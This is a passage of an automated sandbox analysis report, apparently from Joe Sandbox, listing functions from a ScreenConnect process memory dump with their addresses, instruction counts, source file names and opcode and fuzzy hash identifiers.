                                                                                                                • Opcode ID: 827b653f22e936ab6a36d4442cf7a03b02f458fe26d2f422782c1439eef76a0b
                                                                                                                • Instruction ID: 21eab789668cab3019ac6dd0df90b2517aaa12df6c4a7336a595d26f5fa7c44d
                                                                                                                • Opcode Fuzzy Hash: 827b653f22e936ab6a36d4442cf7a03b02f458fe26d2f422782c1439eef76a0b
                                                                                                                • Instruction Fuzzy Hash: 40E08C1599CA0307FB6C227D64A13B962C28F45329F2956BB9609800E6CC9C9E818551
                                                                                                                Function 00007FFEBC448575 Relevance: .0, Instructions: 24COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000014.00000002.2508649839.00007FFEBC440000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEBC440000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_20_2_7ffebc440000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: bce6cc8bef3492971b95ed6a473a087e7e0424a1220935b9cc142e2a9a516fad
                                                                                                                • Instruction ID: d97f6e5a4d6bd27027cdb4418df1a9da7f2ecdaf1e2027eeaabffec18a06ee95
                                                                                                                • Opcode Fuzzy Hash: bce6cc8bef3492971b95ed6a473a087e7e0424a1220935b9cc142e2a9a516fad
                                                                                                                • Instruction Fuzzy Hash: 2DE0E570714A8A8F8B89EF28D4989A933A1FB6C31575016A9981ACB286DA30D842CB40
                                                                                                                Function 00007FFEBC44018A Relevance: .0, Instructions: 23COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000014.00000002.2508649839.00007FFEBC440000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEBC440000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_20_2_7ffebc440000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 956dd1e24857e3968b686b9bce9bb38abfe96b0f81150f396cc7f72e0511889e
                                                                                                                • Instruction ID: 7b1a7fda083d5dffbdd663c0bd1eeda17d61f39ae6bdf9601155c8fb68cde854
                                                                                                                • Opcode Fuzzy Hash: 956dd1e24857e3968b686b9bce9bb38abfe96b0f81150f396cc7f72e0511889e
                                                                                                                • Instruction Fuzzy Hash: B9E01210E5EF1E4EAAE5677C011823571C2EF98605FA407B9890ED32F5ED58DC148280
                                                                                                                Function 00007FFEBC4451F2 Relevance: .0, Instructions: 20COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000014.00000002.2508649839.00007FFEBC440000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEBC440000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_20_2_7ffebc440000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 688c62b677db975509b2deef6096c55e9d908208784824b81f9ad5c8c1becd0b
                                                                                                                • Instruction ID: fb2e751a2483ed45c61943829024a71755dcf4b68c2ad29e21c3600bbb4095de
                                                                                                                • Opcode Fuzzy Hash: 688c62b677db975509b2deef6096c55e9d908208784824b81f9ad5c8c1becd0b
                                                                                                                • Instruction Fuzzy Hash: F9E0123054D9489FCF45DF2C94016A977A1FF89308B5105AAE10DD71A2CE35A9118B01
                                                                                                                Function 00007FFEBC4481A6 Relevance: .0, Instructions: 17COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000014.00000002.2508649839.00007FFEBC440000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEBC440000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_20_2_7ffebc440000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: f67fb4ff8800954d4263e0785cc2866b3499ba29840c81cb69001a46905cd196
                                                                                                                • Instruction ID: af77751e435f572788f83674d7e3daee27a38418a1487920324f1c231d7040bb
                                                                                                                • Opcode Fuzzy Hash: f67fb4ff8800954d4263e0785cc2866b3499ba29840c81cb69001a46905cd196
                                                                                                                • Instruction Fuzzy Hash: BCC01201F4C8190A6094B25C34152B891C1DB88220B9441F2DD0CD236AEC0C5C9143C1
                                                                                                                Function 00007FFEBC444564 Relevance: .0, Instructions: 17COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000014.00000002.2508649839.00007FFEBC440000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEBC440000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_20_2_7ffebc440000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 4e0cf5e44d9edc557e71278ef2e1d6400961fb1dc8a09a179932976f866e2fe5
                                                                                                                • Instruction ID: 2b84249970c303ab74b7cd604052199f67249022f628eca4a649a77e1a05d050
                                                                                                                • Opcode Fuzzy Hash: 4e0cf5e44d9edc557e71278ef2e1d6400961fb1dc8a09a179932976f866e2fe5
                                                                                                                • Instruction Fuzzy Hash: BED05E31C0480DABEB04EF58E4511FCBBA1FF44300F9041F5D91CD31B2DE382A508680
                                                                                                                Function 00007FFEBC4428DC Relevance: .0, Instructions: 16COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000014.00000002.2508649839.00007FFEBC440000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEBC440000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_20_2_7ffebc440000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: eff51bc79711e24d4659540809fcd5e79e98d3d9e80419dd290ef5faf39fba5d
                                                                                                                • Instruction ID: 591a1db0315882cc79ebfee69962132529532a857d1f3a38e3999999739313af
                                                                                                                • Opcode Fuzzy Hash: eff51bc79711e24d4659540809fcd5e79e98d3d9e80419dd290ef5faf39fba5d
                                                                                                                • Instruction Fuzzy Hash: 35D05B10E5D98A5AF358E77C44469FA73A3EF94208F90457DD10F930B6CC2CB1054641
                                                                                                                Function 00007FFEBC4428F8 Relevance: .0, Instructions: 12COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000014.00000002.2508649839.00007FFEBC440000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEBC440000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_20_2_7ffebc440000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 6cdec2593165bd69216cc635f68f1034137c2e669e08c7f31ab4d8ac1a82a04e
                                                                                                                • Instruction ID: 75ba71b5770b035a496f5a9dd3536712b308ca8c58b0fde1aa56050b94b875b3
                                                                                                                • Opcode Fuzzy Hash: 6cdec2593165bd69216cc635f68f1034137c2e669e08c7f31ab4d8ac1a82a04e
                                                                                                                • Instruction Fuzzy Hash: 2CC01220B4CE099AE268DF2C404127932F3AFD8205B50473BD10DD22B6CD38A5024680
                                                                                                                Function 00007FFEBC442632 Relevance: .0, Instructions: 12COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000014.00000002.2508649839.00007FFEBC440000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEBC440000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_20_2_7ffebc440000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 66945a287f65b9feb22c0279556468eea5e49cb05e63b39f569a7ba9d02ca240
                                                                                                                • Instruction ID: 8d0aeb0e1a1e19a5df43dc52065392ca8ac017c8e23c39290e6b114c18bb1521
                                                                                                                • Opcode Fuzzy Hash: 66945a287f65b9feb22c0279556468eea5e49cb05e63b39f569a7ba9d02ca240
                                                                                                                • Instruction Fuzzy Hash: DDC08C60E4CE098AA274DF4C400217932E2DB68201B20023FC80ED22B1CC1C290702C2
                                                                                                                Function 00007FFEBC44771E Relevance: .0, Instructions: 9COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000014.00000002.2508649839.00007FFEBC440000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEBC440000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_20_2_7ffebc440000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 07c90fe5ffa8e3227b631a432852639d5e1760f54a8e596d10a783817760e6b0
                                                                                                                • Instruction ID: 77a2b66cd9613fc5de01c2b3c52892a85c374752b94d2abaacc30b6c8c1b0cfe
                                                                                                                • Opcode Fuzzy Hash: 07c90fe5ffa8e3227b631a432852639d5e1760f54a8e596d10a783817760e6b0
                                                                                                                • Instruction Fuzzy Hash: 61B02B00D045040E62508B1C60C1260F0C0FF4C30079040F9980CC72A7D8045C428280